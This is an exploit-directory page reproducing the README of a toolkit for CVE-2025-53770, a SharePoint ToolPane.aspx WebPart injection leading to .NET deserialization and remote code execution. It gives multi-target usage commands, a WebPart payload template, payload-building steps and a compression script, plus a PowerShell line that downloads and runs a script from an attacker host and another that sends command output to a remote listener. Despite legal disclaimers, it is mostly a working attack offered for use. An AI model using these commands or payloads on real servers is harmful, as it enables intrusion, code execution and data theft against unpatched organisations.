Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-53770-Exploit β€” SharePoint WebPart Injection Exploit Tool | Kitploit
Tools/GitHubGitHub/soltanali0/cve-2025-53770-exploit
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingPayload Development
GitHubsoltanali0/cve-2025-53770-exploit

CVE-2025-53770-Exploit

SharePoint WebPart Injection Exploit Tool

View Repository
313772810 months agoReviewed by Kitploit

Most Popular

View all β†’

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools β†’
Share

πŸ“Œ SharePoint WebPart Injection Exploit Toolkit

πŸ• Exploit tool for SharePoint WebPart Injection via ToolPane.aspx, leading to .NET deserialization and potential remote code execution (RCE).

Developed by: @GOTOCVE


🌍 Overview

This tool exploits a vulnerability in Microsoft SharePoint (on-premises) that allows authenticated users to abuse the ToolPane.aspx endpoint and inject malicious WebParts containing GZIP-compressed serialized .NET objects.

The injected object is placed inside the MSOTlPn_SelectedWpId parameter and embedded in a fake WebPart (such as <Scorecard:ExcelDataSet>) that gets parsed and deserialized by the SharePoint backend.


βš™οΈ Features

  • βœ… Automatic endpoint validation (ToolPane.aspx)
  • βœ… Injection of user-supplied payloads (GZIP+Base64-encoded .NET LosFormatter objects)
  • βœ… Proxy support for Burp/ZAP
  • βœ… Support for file-based or direct payload input

πŸ§ͺ Supported Versions

ProductAffected Versions
SharePoint Server 201616.0.4351.1000 - 16.0.5508.1000
SharePoint Server 201916.0.10337.12109 - 16.0.10417.20027

⚑ Vulnerability Summary

FieldValue
ComponentMicrosoft SharePoint (On-Premises)
Endpoint/layouts/15/ToolPane.aspx
ParameterMSOTlPn_DWP
WebPart<Scorecard:ExcelDataSet CompressedDataTable>
IssueInsecure .NET deserialization
CVECVE-2025-53770

🧰 Toolkit Components

βœ… 1. exploit.py

Multi-threaded SharePoint exploit tool for CVE-2025-53770.

  • Detects SharePoint + version
  • Checks access to /ToolPane.aspx
  • Sends malicious WebPart payload

βœ… 2. YSLosf.exe

LosFormatter Payload Generator & Deserializer.

image

πŸš€ Usage

πŸ”Έ Basic Usage

python3 exploit.py -u https://target -p payload.txt

πŸ”Έ Multiple Targets

python3 exploit.py -f targets.txt -p payload.txt --proxy http://127.0.0.1:8080

πŸ”Έ All Arguments

ArgumentDescription
-uTarget URL (e.g., https://sp.company.local)
-fFile containing target URLs (one per line)
-pPayload file or direct Base64 GZIP string
--proxyOptional proxy (e.g., http://127.0.0.1:8080)
-tTimeout in seconds (default: 15)

πŸ”§ Requirements

  • Python 3.10
  • Install dependencies:
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
  • .NET 4.8 Runtime (to run YSLosf.exe)

πŸ’₯ Payload Structure

Your payload must be:

  1. A .NET object (e.g. DataSet, ObjectDataProvider)
  2. Serialized using LosFormatter or BinaryFormatter
  3. Base64-encoded
  4. GZIP-compressed

Embedded in a WebPart like:

<asp:UpdateProgress ID="UpdateProgress1" runat="server" AssociatedUpdatePanelID="upTest">
  <ProgressTemplate>
    <div class="divWaiting">
      <Scorecard:ExcelDataSet CompressedDataTable="{PAYLOAD}" DataTable-CaseSensitive="false" runat="server" />
    </div>
  </ProgressTemplate>
</asp:UpdateProgress>

πŸ›  Generating Payloads with YSLosf

Step 1: Create Payload File

Put your command (e.g., reverse shell) into payload.txt:

powershell -nop -c iwr http://attacker/shell.ps1 | iex

Step 2: Generate Base64 Payload

C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe --p payload.txt
Serialized string:
/wEFBWZsdG1j

Base64 encoded:
L3dFRkJXWnNkRzFq

C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe -d dpayload.txt
Deserialized object:
fltmc

Step 3: Compress & Finalize

# compress.py
import gzip, base64

with open("base64.txt", "rb") as f:
    b64 = base64.b64decode(f.read())
    gz = gzip.compress(b64)
    # print(base64.b64encode(gz).decode())
    encoded = base64.b64encode(gz).decode()

with open("payload-final.txt", "w") as out_file:
    out_file.write(encoded)

Save the output into payload-final.txt and pass it to the exploit tool.


🧡 Supported Gadget Chains

  • System.Data.DataSet
  • System.Data.Services.Internal.ExpandedWrapper
  • System.Windows.Data.ObjectDataProvider
  • System.Web.UI.LosFormatter

πŸ“‘ Notes on Command Output

This vulnerability does not return output (e.g. ipconfig) in the response. You must:

  • Use reverse shell payloads
  • Or exfil output:
powershell -c "ipconfig | Invoke-WebRequest -Uri http://your-ip:8000/?d=$(Get-Content -Raw)"

⚠️ Legal Disclaimer

This tool is provided for educational and authorized security testing only.

Do not use against systems without explicit permission. Misuse may be illegal and unethical.


πŸ” Detection

If a vulnerable server accepts the payload and reflects MSOTlPn_SelectedWpId or renders the page with the injected WebPart, it's likely exploitable. No output means the deserialization failed or the server patched it.


πŸ›‘ Legal Clarification & Scope of this Tool

This tool does not deliver or execute any shellcode, web shell. It only demonstrates exploitation of the .NET deserialization vulnerability (CVE-2025-53770) through the vulnerable ToolPane.aspx endpoint using a malicious WebPart structure containing a GZIP-compressed .NET object.

πŸ”Ή Purpose: To help researchers, red teamers, and defenders detect vulnerable SharePoint servers and test the injection vector safely with custom payloads.

πŸ”Ή Payloads: The tool requires users to generate their own payloads (e.g., using YSLosf.exe) which are embedded in the WebPart as Base64-encoded GZIP strings.
It is the user’s responsibility to choose appropriate and ethical payloads (such as harmless calc.exe execution, beacon markers, etc.).

πŸ”Ή NO Reverse Shells/Web Shells included:
While attackers in the wild may drop web shells like spinstall0.aspx, this project does not include any such logic.
If you're planning on delivering a reverse shell, you must generate your own payload manually and take full responsibility for its use.

Star History

Star History Chart

πŸ“’ More Exploits & CVEs?

Join @GOTOCVE on Telegram:

  • πŸ” Weekly CVE breakdowns
  • 🧠 Deep exploit writeups
  • πŸ›‘ Red & Blue Team content
  • πŸ’£ Real PoCs & detection tips

πŸ“¬ Contact

Created by Ali Soltani
For research inquiries or bug reports, message via Telegram

Download Tool